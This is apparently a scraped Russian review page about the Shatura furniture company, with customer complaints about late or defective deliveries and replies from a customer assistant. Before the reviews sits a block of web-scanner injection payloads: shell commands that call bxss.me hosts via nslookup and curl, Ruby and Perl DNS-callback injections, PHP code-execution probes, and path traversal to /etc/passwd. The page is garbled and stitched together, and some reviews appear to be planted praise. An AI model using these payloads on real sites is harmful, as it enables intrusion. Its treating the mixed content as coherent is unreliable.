Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Quine
25.02.2014
21.09.2013 я заключил договор купли-продажи № 156461/4757035 детской мебели (кровать, шкаф, письменный стол, полки) с ООО Новые технологии обслуживания по адресу г. Н. Новгород, ул. Ларина, д. 7, ТЦ Открытый материк (Мебельный магазин Шатура). Цена договора составила 43 430 руб. Я внёс 100% предоплату за товар. 11 ноября 2013 года была привезена детская мебель в нужном цвете, за исключением кровати, она пришла в другом цвете. 11 ноября 2013 года мной было написано заявление в магазин об устранении недостатков товара, но ответа о новых сроках поставки товара я не получил. В соответствии с п. п. 5.5 Договора, срок устранения недостатков составляет сорок пять дней, т. е. детская кровать должна была быть передана мне не позднее 25 декабря 2013 г., однако по состоянию на сегодняшнее число (25.02.2014 г.) товар мне не доставлен. 15 февраля 2014 написал письмо на возврат средств и неустойку. 25 февраля 2014 в магазине Шатура по адресу г. Н. Новгород, ул. Ларина, д. 7 мне отказали в возврате средств и выплате неустойки. Завтра иду подавать иск в суд. На данном сайте присутствует Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура". На мои письма она не отвечает и никак не помола в решении моего вопроса. Никогда не покупайте там мебель, расскажите об этой гнилой конторе всем своим родственникам и друзьям.
Помощник покупателя Шатуры
03.03.2014
Добрый день! Спасибо за Ваш отзыв. Мы занимаемся Вашим вопросом. Как только у нас появится информация, мы Вам сообщим! Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура".
Никитина Ирина Валерьевна
25.02.2014
Зашла на сайт по отзывам и о, ужас! Действительно нужно было перед тем, как делать заказ в Шатуре все изучить. 20.01.2014 года заказали в Шатуре мебель для детей, но не детскую. Оплата 100%. Все сроки исполнения по договору прошли 14 февраля 2014. Мебели до сих пор нет. Каждую неделю звоню в службу доставки и каждый раз мне говорят, что не готов шкаф и композиция 4, а сроки доставки при этом на неделю откладывают. Сегодня мне сказали, что мой заказ предварительно будет исполнен 7 марта, когда должен быть 1 марта. Моим возмущениям нет предела. Почитав отзывы поняла, что еще это может быть не вся суть проблемы, может прийти мебель не соответствующего качества. Код заказа: 221835, код подзаказа: 4911487 от 20.01.2014 г.
Помощник покупателя Шатуры
03.03.2014
Добрый день, Ирина! Спасибо за оставленный отзыв и за то, что сразу указали номер заказа! Нам очень жаль, что Вам пришлось столкнуться с данной ситуацией. Чтобы Вам помочь, мне необходимо знать также адрес магазина, где была совершена покупка. Пришлите мне его, пожалуйста, на почту: help@shatura-online.ru. Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура" www.shatura.com.
Катерина, данная ситуация уже разрешилась. Спасибо за ответ.
Заказ мебель в Шатуре. В одной полке не было дырочек (ждали еще 2 недели замены).
Софья
24.02.2014
Заказывали там модульную стенку со шкафом в одной расцветке и еще один угловой шкаф. Один угловой шкаф доставили за неделю, при сборке были конечно косячки, но не значительные. А вот стенку с др. шкафом ждали довольно долго, пришлось писать претензии. В целом все дошло, единственный минус - стеллаж пришел побитый, но мы его обменяли без проблем. За несвоевременную доставку возвратили пени, что-то около 2000 р. Не скажу, что мебель плохого качества, но не идеал, за такие деньги можно и получше делать.
Покупал шкаф, прихожую и диван всё пришло, как надо, без проблем и заминок. Качество очень хорошее, всё очень надежно, основательно, добротно.
Закшевская Лидия
24.02.2014
Номер заказа 189769. Мы заказали спальню 15 ноября 2013 г. в магазине по адресу: ул. Грина, 15. Внесли 100% предоплату. Мебель привезли лишь 8 января. Служба доставки сразу попросила оплатить и сборку, уверив, что сборщик придет на следующий день. Но нам пришлось звонить 3 дня самим и не один раз, чтобы договориться о сборке. Претензий к качеству сборки нет, все собрали за 2 дня и очень качественно. Но мы столкнулись с браком в прикроватном ящике. И вот тут начался новый виток проблем. Со сборщиком оформили рекламацию на брак 9 января, 12 января эта рекламация была передана в офис компании, но заявку на обмен бракованного элемента сотрудники по непонятным причинам не могли оформить вплоть до 28 января, пока не написали жалобу на сайте компании. В итоге все-таки отзвонились и сказали, что заменять ящик в самое ближайшее время. Сегодня уже 24 февраля, а от фирмы ни ответа, ни привета. Ящик так и не заменили. Все разумные сроки уже прошли! Это просто беспредел! Мы ждем свою спальню уже больше 3 месяцев! Я пожалела уже ни один раз, что обратилась в эту организацию. Компания просто собирает деньги с населения. Ни одному своему знакомому не порекомендую заказывать в этой конторе мебель. А кто отважится, буду в красках рассказывать, как они «отвечают по своим обязательствам».
Помощник покупателя Шатуры
28.02.2014
Лидия, добрый день! Благодарим Вас за оставленный отзыв! Нам очень жаль, что Вам пришлось столкнуться с данной ситуацией. Спасибо, что сразу указали номер заказа и адрес магазина, где была совершена покупка. Я уточню ситуацию и постараюсь Вам помочь! Екатерина, помощник покупателя интернет-магазина мебельной компании “Шатура” http://www.shatura.com.
Мебель от этой Шатуры ждали 4 месяца и сборщик испортил стенку шкафа!)
Bliznyuk Zahar
23.02.2014
Достойная качественная мебель, много моих друзей покупали мебель здесь, монтаж делают быстро, аккуратно, выбор в магазине большой, заказ делал не единожды и планирую покупать дальше.
Мы заказали шкафы, через 2 недели привезли не все. Мы сразу звонили на горяч. линию, через неделю все довезли. Аккуратно и вежливо, собрали хорошо. Спасибо!
Очаков Павел
23.02.2014
Покупки через интернет в Шатуре меня устраивают, огромный выбор товара, в качестве товара я уже уверен, так как брал не один раз, и всегда остаюсь доволен от сотрудничества с этой компанией.
Антонина и Юрий
23.04.2014
Всё в магазине понравилось. Заказанная мебель достойного качества, мы считаем. Пользуемся по полной. Не опоздали ни разу. Сотрудники - профи.
Заказал диван через интернет, доставка пришла в тот же день когда заказывал, выбор очень большой поэтому больше времени потратил на то, чтобы выбрать, чтобы я хотел, цена тоже мне нравится.
Лазаренко Василий
21.02.2014
Давно беру у этой компании мебель. И домой, и на дачу покупал, всё устраивает, сроки доставки достаточно быстрые, со сборкой тоже проблем не было, цена ниже чем у других, очень хорошее качество.
Сотрудники шатуры, перестаньте писать себе положительны отзывы, найдите лучше себе новую работу, рабы.
Сотрудники Шатуры - они не сотрудники, они зомбированные, которых надо давить, в глаза смотрят и лыбятся, как идиоты, как сектанты, талдычат одно и тоже!
Приятно впечатлила меня эта мебельная компания, абсолютно все наши требования были соблюдены, работать с клиентами они умеют, сроки доставки не были просрочены, качественной сборкой и установкой.
Григоров Леня
21.02.2014
Перед тем как заказывать спальню, я нарисовал четкую картину перед собой, что именно я хочу, пересмотрел много информации в интернете и в журналах, потом зашел на этот сайт и нашел именно то, что нужно. Доставка оказалась очень быстрой, что радует.
Хочу отметить качество мебели - у меня лично все очень долговечное и надежное, все металлические части на месте и ролики работают. Магазин лично мои заказы всегда выполнял вовремя! Я очень доволен данной фабрикой мебели, и буду заказывать здесь еще, 100 %.
С доставкой у меня проблем не было, а к сборке вообще никаких нареканий быть не может!
Ирина
21.02.2014
28 декабря 2013 года в торговой точке Шатура мебель, расположенной по адресу: ул. Шоссе Энтузиастов, д. 12, корп. 2 ТРЦ "Город", 4-й этаж, оформила заказ №211833 на мебельный гарнитур Британика. Срок исполнения заказа по Договору 30 января 2014 года (указывается максимальное время на производство и доставку). Звоню по статусу заказа с 3 февраля, срок устанавливался и 15.02, и 21.02. 20 февраля менеджер coll центра направил мою заявку на основное производство со статусом "ускорить", 21 февраля - получен отказ: У Шатуры много заказов. Вопрос: два месяца назад я полностью оплатила мебельной фабрике свой заказ, производство на сегодня уже и не дает ответ о сроках доставки. Я понимаю, что "здоровое" стремление заработать Топ-менеджмент Компании и неумение планировать, заставляет менеджеров в неограниченных количествах принимать заказы, что спровоцировало ситуацию, когда, производство "захлебнулось". Но и я могла себе позволить оформить заказ у "здорового" производителя, а не трепать себе нервы "за свои же деньги", как правильно сказала еще одна потребитель услуг Шатуры, ждать месяцами. В целом я уже хочу отказаться от этого заказа. Мы переехали в квартиру, и вынуждены продолжать жить на чемоданах. Так же, если в ближайшую неделю не получу заказ - буду обращаться в судебном порядке, и в РОСПОТРЕБНАДЗОР по г. Москве.
Помощник покупателя Шатуры
26.02.2014
Ирина, добрый день! Благодарим Вас за оставленный отзыв! Нам жаль, что Вам пришлось столкнуться с данной ситуацией. Спасибо, что сразу указали номер заказа и адрес магазина, где была совершена покупка. Я уточню ситуацию и постараюсь Вам помочь! Екатерина, помощник покупателя интернет-магазина мебельной компании “Шатура” http://www.shatura.com.
Помощник покупателя Шатуры
11.03.2014
Добрый день, Ирина! Я отвечу Вам, как только получу информацию о Вашем заказе. Спасибо! Помощник покупателя интернет-магазина мебельной компании "Шатура". Эл. адрес: www.shatura.com.
Привезли решетку кровати всю поломанную (уже неделю ждем). Спим на полу - КАЙФ))) Люблю острые ощущения.
Екатерина
18.02.2014
Жаль, что тоже очень поздно нашла этот сайт. Были сделаны 2 заказа 14.12.13. Сегодня 17.02.14, а дату поставки никто не может сказать. Заказ был сделан в городе Казань на сибирском тракте. Как и всем покупателям, продавцы поют как соловьи, а потом как-будто никто ничего не знает. Если руководство читаем этот форум. Таким методом у вас не останется ни одного покупателя. Вы вообще вспоминаете, хоть иногда вспоминаете тех, кто вам принес свои деньги и хочет получить свой товар?
Помощник покупателя Шатуры
24.02.2014
Екатерина, добрый день! Благодарим Вас за оставленный отзыв! Чтобы Вам помочь, мне необходимо знать номер Вашего заказа и точный адрес магазина, в котором была совершена покупка. Пришлите мне эти данные, пожалуйста, на почту help@shatura-online.ru. Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура" www.shatura.com.
Не надейтесь на какую-либо помощь от сотрудников Шатуры. Я жду с 21 сентября. Руководство форумы не читает, с ним даже связаться никак нельзя, на клиентов им наплевать. Подавайте претензию в магазин на возврат средств и неустойку в размере 1% от суммы заказа за каждый день просрочки. Если в течение 10 дней не вернут, обращайтесь в суд, сейчас такие дела очень быстро решаются в пользу покупателя.
За такие деньги качество обслуживания (доставка, сборка) должны быть также на этом уровне, я ставлю неудовлетворительно.
Сергеев Артемий
17.02.2014
Последнее время беру мебель через этот сайт, качество не уступает другим фирмам, а то и лучше, цена ниже так как через интернет, доставляют очень оперативно.
Каковы сроки доставки заказанной мебели?
Заказ выполнен быстро и четко. Отличный магазин, ни разу не подводил, мебель у них отличная и недорого вышла совсем. Всем советую вас!
На сборке работают одни профессионалы, при сборке (в данном случае -кухонный гарнитур) с любой неровностью стен и углов справляются (хоть и считается, что никакой ответственности за это не несут)!
Усольцев Антоха
17.02.2014
Сайт с огромным выбором мебели на любой вкус, покупали здесь не один раз, и всегда все было без косяков, последнее, что брали была спальня, качество и цена меня полностью устраивает.
Антонина и Юрий Хорошевы
23.04.2014
Спасибо, Шатура, заказывала диван Ливерпуль. Привезли даже на 2 недели раньше, быстро собрали, все культурно. Осталась очень довольна, покупка порадовала.
Покупал ребенку письменный стол, качество мне понравилось, потом решил заказать через интернет прихожую, всё пришло в должной комплекте, установили по быстрому, думаем еще и диван заказать.
Лавреньтьев Эдгар
14.02.2014
Много положительных моментов нашел именно у Шатуры. Это добросовестные сотрудники, своевременная доставка, качественный монтаж мебели, да и цена в целом ниже за аналогичную мебель.
Максим и Надежда
23.04.2014
Заказывали 3 шкафа Scala Орех (заказ № 15542). Остались довольны, о доставке оповестили, за час отзвонились, все, как положено! Грузчики аккуратные, все проверили, пересчитали количество коробок, сверили номера. Собирали сами, недостатка в комплектации не обнаружили. Мебель была по акции, что несколько настораживало, но после сборки все сомнения рассеялись! Спасибо менеджеру в магазине-Александру! Ждем теперь акции на комод для полной коллекции!: -)
Говорю большое спасибо менеджерам службы доставки, без каких-либо проблем и во время доставили мне мой диван. Общение с этой мебельной фабрикой мне очень понравилось.
Спиридонов Сергей
14.02.2014
Покупал в офис три кресла 8078 F-5, ткань-сетка (черный), очень удобные для работы, все коллеги остались очень довольны, неприятных моментов с доставкой не возникло.
Наша семья очень благодарна сотрудникам магазина Шатура. Очень вежливый и отзывчивый коллектив, помогли подобрать мебель на всю квартиру, грамотно знают ассортимент мебели, четкое понимание потребностей, умеют найти подход к любому покупателю. Огромное и персональное спасибо старшим продавцам! Всем друзьям и знакомым будем советовать покупать только в этом магазине. Спасибо! Обратитесь к этим людям, они Вам обязательно помогут.
Купил через интернет большой диван и компьютерный стол, радуюсь уж как месяц привезли, покупал мебель таким образом первый раз и остался доволен и сайтом и доставкой.
Анастасия
14.02.2014
Обратились в Шатуру 09.11.2013 года в г. Киров и сделали заказ на гостиную, шкаф 3-х створчатый и детскую мебель Олимп! Все доставили, кроме двух шкафов из детской Олимп, арт.№ 344799 ШО12 и арт.№344797 ШО 22. Договор был заключен в г. Киров от 09.11.2013 г. с ООО "Профдекор". Что нам делать??? Каждый раз нам обещают, что в пятницу. Типа машина на погрузке а, остальная информация у них отсутствует! 45 рабочих дня уже ДАВНО прошли!
Помощник покупателя Шатуры
20.02.2014
Добрый день, Анастасия! Благодарим Вас за оставленный отзыв! Чтобы Вам помочь, мне необходимо знать номер Вашего заказа и точный адрес магазина, где была совершена покупка. Пришлите мне эти данные, пожалуйста, на почту help@shatura-online.ru. Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура" www.shatura.com.
У меня ситуация один в один, как у вас, но жду с сентября. Екатерина, помощник покупателя интернет-магазин, не помогла. Советую подать на них в суд. За каждый день просрочки требуйте неустойку в размере 1%.
Вам решать, если хочется "качественную" мебель - запасайтесь успокоительными и идите в Шатуру. Я туда больше ни ногой.
Эльвира
13.02.2014
По условиям подписанного договора, цена товара по договору устанавливается в бланке заказа. На момент покупки действовали новогодние скидки 30 %, заказ с учетом скидки оплачен полностью - чеки и выписка списаний с карты имеются. Однако, ООО "Новые технологии обслуживания" не отгружают товар, требуя доплату. Информация по доплате размещена на сайте и подтверждена по телефону оператором call-центра. Заказ: 219279, магазин 54 г. Москва. Составляю претензию и предаю документы юристу.
Помощник покупателя Шатуры
20.02.2014
Эльвира, добрый день! Благодарим Вас за оставленный отзыв! Нам очень жаль, что Вам пришлось столкнуться с данной ситуацией. Спасибо, что сразу указали номер заказа и адрес магазина, где была совершена покупка. Я уточню ситуацию и постараюсь Вам помочь! Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура".
Помощник покупателя Шатуры
20.02.2014
Эльвира, я взяла Вашу ситуацию под контроль. Постараюсь помочь в ее решении! Отвечу Вам, как только получу информацию о Вашем заказе. Спасибо! Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура", www.shatura.com.
Екатерина Вам не ответит. Я с 21 сентября 2013 жду детскую. Я ей и номер заказа, и адрес магазина отправлял. Шатура плевать хотела на своих клиентов. Ни ответа, ни привета. Поверьте мне, что ждать бесполезно, подавайте заявление в суд.
Просто нет слов! Не тратьте время на покупку мебели в Шатуре. Это просто издевательство. Обещали доставку через неделю, отменяли, потом назначили день и опять облом.
Лидия
12.02.2014
Неужели одну сломанную доску нужно ждать 45 суток? Знала бы, не связывалась с "Шатурой" № товарного чека 11698, пусть ваша контора находится, где там, в Саратове или еще где-то, но с 24.12.13 года, зная, что люди ждут эту злополучную доску, неужели нельзя как-то сделать это побыстрей! Напрашивается вопрос - наверное, халтуры много, не успеваете разгребать. Звонить я вам больше не буду. Будем решать все через суд. Я уже умалчиваю о мелких косяках ваших сборщиков. Все сфотографировано. Если к 27.02.14 г. у меня не будет то, что указано в рекламации. Общаться придется по другому. Талова Лидия Викторовна.
Помощник покупателя Шатуры
19.02.2014
Лидия, добрый день! Благодарим Вас за оставленный отзыв! Нам очень жаль, что Вам пришлось столкнуться с подобной ситуацией. Чтобы Вам помочь, мне необходимо знать не только номер Вашего заказа, но и адрес магазина, в котором была совершена покупка. Пришлите мне его, пожалуйста, на почту: help@shatura-online.ru. Спасибо! Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура".
Просто лохотрон. По телефону не дозвониться часами ждешь ответа, подходит очередь сбрасывают номер. Плохая компания, за свои деньги потеряете время и нервы.
Светлана
10.02.2014
Заказала мебель (спальня) в магазине ООО "Новые технологии обслуживания" в г. Жуковский. Заказ № 212188 был сделан и полностью оплачен 29.12.2013 г. До настоящего времени мебель не доставили. Сроки доставки давным-давно прошли, новые сроки доставки не сообщают. Отвратительная работа компании. Непременно буду обращаться в судебные органы за взысканием неустойки и иных сопутствующих расходов! Постараюсь оставить как можно больше отрицательных отзывов в интернете, всем знакомым "разрекламирую" компанию как простых мошенников, которые берут предоплату и не выполняют своих обязательств по Договору купли-продажи.
Помощник покупателя Шатуры
17.02.2014
Добрый день, Светлана! Большое спасибо за Ваш отзыв! Нам искренне жаль, что Вам пришлось оказаться в данной ситуации. Чтобы Вам помочь, мне необходимо знать не только номер Вашего заказа, но и подробный адрес магазина, где была совершена покупка. Пришлите мне их, пожалуйста, на почту: help@shatura-online.ru. Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура".
Инга Степановна
28.06.2014
Посетила я мебельный магазин Шатура, сделала заказ. Цена мебели составила 36800 руб. Я внесла 100% предоплату за товар. В компанию постоянно звонила я, чтобы узнать, что с моим заказом. Мебель пытались привезти 4 раза! То не полностью привозили, то доставку отменяли, то был брак! В общем, намучилась я ужасно!
Елена
09.02.2014
Уважаемые руководители "Шатура мебель", вы еще помните о своих покупателях? Прошло 78 дней в ожидании исполнения заказа № 194828 кухня Антика. Ни один менеджер не может мне назвать дату, когда же заказ будет исполнен. Абсолютно непрофессиональная работа сотрудников всех служб. Менеджер в магазине неправильно указала в заказе размер стеновой панели; мебель доставлена с двумя бракованными деталями; при доставке по рекламации вместо 3-х бракованных деталей была доставлена только одна по назначению, вторую "чужую" - перепутали, третью - не сочли нужным удовлетворить; служба горячей линии не дает никакой информации о состоянии заказа. Требовать, ругаться, скандалить? Уважайте себя.
Помощник покупателя Шатуры
17.02.2014
Елена, добрый день! Благодарим за оставленный отзыв! Нам очень жаль, что Вам пришлось столкнуться с данной ситуацией. Чтобы Вам помочь, мне необходимо знать не только номер Вашего заказа, но и адрес магазина, где была совершена покупка. Пришлите мне их, пожалуйста, на почту: help@shatura-online.ru. Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура".
Татьяна Сергеевна
28.06.2014
Прошло уже почти 5 месяцев после моего оформления заказа, мебель кое-как собрали, теперь я жду на дом эксперта, т. к. меня не устраивает сборка мебели! Но из компании мне даже никто не звонит, хотя из магазина Шатура, где я покупала мебель 3 раза отправляли заявку в главный офис на вызов эксперта. Ко мне эксперт придет когда-нибудь?! Ужасная компания, не связывайтесь, чтобы нервы сохранить!
Мудрый Вова
08.02.2014
Я очень доволен покупками в Шатуре-мебель. Хороший магазин с качественной мебелью и по хорошей цене. Служба доставки и сборка всегда проходили у меня хорошо.
Заказывала мебель - всё очень понравилось. Продавец-консультант всё грамотно мне объяснил. После покупки товар пришёл на две недели раньше, чем обещали. Планирую еще приобрести кухню.
Неоднократно покупали с женой здесь различную мебель, и кресла, и диван, и спальню. Все стоит до сих пор.
Ефимович Игорь
08.02.2014
Заказал себе через интернет спальню пару неделю назад, всё еще не могу нарадоваться своей покупке. Задержек по доставке у меня не было, со сборкой тоже никаких проблем, качество обалденное.
Уже прошло 3 года, как я купила спальный гарнитур "Марта-М Беж" в "Шатуре", в городе Балаково, очень довольна своей покупкой, ничего не сломалось, не отвалилось, даже дочка клей "Момент"на тумбочку разлила, и мы его оттёрли, и полировка не повредилась. Продавцы очень вежливые, грамотные. Гарнитур доставили точно в срок. Молодцы! Так держать!
Цена меня устраивает, да и долговечность службы мебели за то время, которое я ей пользуюсь, а это не пол года и не год, меня пока не подвело.
Надежда
07.02.2014
Заказала детскую еще в начале октября, ждала ее почти 3 месяца! Хотя обещали в течении 3-5 недель! Наконец-то привезли, но с браком и без фурнитуры! Вот опять жду, только теперь замену, прошел еще один месяц и неизвестно сколько еще буду ждать! Так, что люди обходите ее стороной! Такие неудобства, еще и за свои деньги! Пожалела, что обратилась в эту компанию!
Помощник покупателя Шатуры
17.02.2014
Надежда, добрый день! Большое спасибо за Ваш отзыв! Чтобы разобраться в сложившейся ситуации нам необходимо знать, в каком магазине была совершена покупка и номер Вашего заказа. Напишите, пожалуйста, эти данные на почту: help@shatura-online.ru. Спасибо! Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура".
Я с 21 сентября тоже жду детскую. Даже Екатерина не смогла помочь в моём вопросе. Она просит номер заказа и адрес магазина, на этом решение проблемы заканчивается.
Лидия Александровна
28.06.2014
Обещали сделать и доставить кухню 17 мая. Ничего не выполнили. Я звоню каждый день. Обещают перезвонить и не звонят. Я разобрала старую кухню и сижу в разоренной. Ребенок скоро с дачи приедет, где я ему обед буду готовить?
Ирина
07.02.2014
Мы купили кровать двухэтажную детям, во первых, долго ждали доставку, то матрасов нет, то цвет не тот, отговорок было много, а нервов, ну ладно, мебели второй год - все ломается, шкафы все дверцы оторвались так, что самим не починить, не знаю, что делать дальше.
Помощник покупателя Шатуры
17.02.2014
Добрый день, Ирина! Благодарим Вас за оставленный отзыв! Нам очень важно Ваше мнение. Напоминаем, что при возникновении вопросов, Вы всегда можете написать нам на почту: help@shatura-online.ru, указав номер заказа и адрес магазина. Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура".
Лариса
06.02.2014
Под вывеской Шатура делает мебель непонятно кто((( Эх, поздно я сюда зашла, столько жалоб((( Заказали в Шатуре на Новых Черемушках диван с креслом и пожалели, лучше бы не связывались! Подушки у дивана оказались разного цвета, подали рекламацию, быстро откликнулись и за 2 дня якобы сделали. Исправили только верхнюю часть подушек, а сами они так и остались разного цвета. Написала в отзыве, но видимо придется переделывать самим, хотя диван не дешевый(((( Позвонили по указанным в договоре телефонам, где нам сказали, что такого заказа НЕ СУЩЕСТВУЕТ! Спрашивайте, сказали, в магазине, где они заказывали. Т. е. мы даже не знаем, чью продукцию левую купили((((( Привезли какие-то иноземные грузчики, затоптали весь ковер на полу оба раза, кто теперь будет оплачивать химчистку? Осквернили весь дом((( Подлокотники у дивана и кресла жесткие, пожалели поролона при такой цене, невозможно облокотиться, все жесткое и остаются следы на теле от углов. Вывод: под вывеской Шатура торгуют непонятно кто, разные мелкие лавочки делают НЕ качественную мебель. Ведь сама Шатура делала всегда только офисную мебель, но, ни как, ни диваны, спальни и т. д. Делайте выводы.
Помощник покупателя Шатуры
13.02.2014
Лариса, добрый день! Благодарим за оставленный отзыв! Нам очень жаль, что Вам пришлось столкнуться с данной ситуацией. Напоминаем, что при возникновении вопросов, Вы всегда можете написать нам на почту: help@shatura-online.ru, указав номер заказа и адрес магазина. Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура", www.shatura.com.
Совершила заказ через интернет-магазин Шатура. На данный день - нет ни заказа, ни информации по моему заказу, и получить ее не удается! Как и писали уже здесь люди: "висение на телефоне" в ожидании своей очереди, доходящее до 3-х часов, автоматически сбрасывалось, как только была моя очередь. На самом деле вы похоже считаете, что людям больше заняться нечем. Почему ни разу от вашей компании не было звонка??? Обещали через 10 дней мой заказ доставить, а прошло уже 4 месяца! Ни звонка, ни мебели.
Ксения
05.02.2014
Если бы прочитала отзывы заранее - никогда в жизни не связалась бы с этой компанией. Но, увы и ах. Заказали шкаф. В магазине наобещали с три короба: и до конца-то января вам все привезут, и позвонят, и на сроки в договоре вы не смотрите - мы все быстрее делаем раза в два, и все в этом духе - понятное дело, менеджеру тупо надо продать и получить свои бонусы. На деле все оказалось не так красиво и замечательно: договор есть договор, и мы его подписали - деваться особо некуда. Срок отгрузки товара стоит 24.01.2014 г. По договору срок доставки 14 рабочих дней с даты предварительной отгрузки. Получается, что до 13 февраля включительно, должны привезти мою стенку. Ну нам никто не звонит - рано наверно еще, мы и решили сами уточнить, как там поживает наша мебель. Долго дозванивались, и наконец-то (свершилось чудо!) дозвонились. Ну и, конечно же, ничем готовым пока еще не пахнет. Сказали, что скорее всего привезут 14 февраля - подарок, так сказать, ко Дню всех Влюбленных, видимо, решили мне сделать. Ну меня этот ответ совершенно не устраивает: обещают одно, на бумаге другое, а в итоге получается третье??? Вообщем, посмотрим, если условия по договору не выполнят (для магазина, вы уж извините, условия договора не менее важны, чем для покупателя) - не привезут до 13, будем расторгаться и получим свои денежки назад, а за просрочку еще и неустойку с них потребуем.
Помощник покупателя Шатуры
12.02.2014
Ксения, добрый день! Спасибо большое за Ваш отзыв! Чтобы Вам помочь, мне необходимо знать номер Вашего заказа и адрес магазина, где была совершена покупка. Пришлите мне их, пожалуйста, на почту: help@shatura-online.ru. Спасибо! Екатерина, помощник покупателя интернет-магазина мебельной компании "Шатура" www.shatura.com.
Покупала у вас мебель, хотела полностью собрать спальный гарнитур, но вы все делаете, чтобы этого у меня не получилось!
Гайдук Ольга
05.02.2014
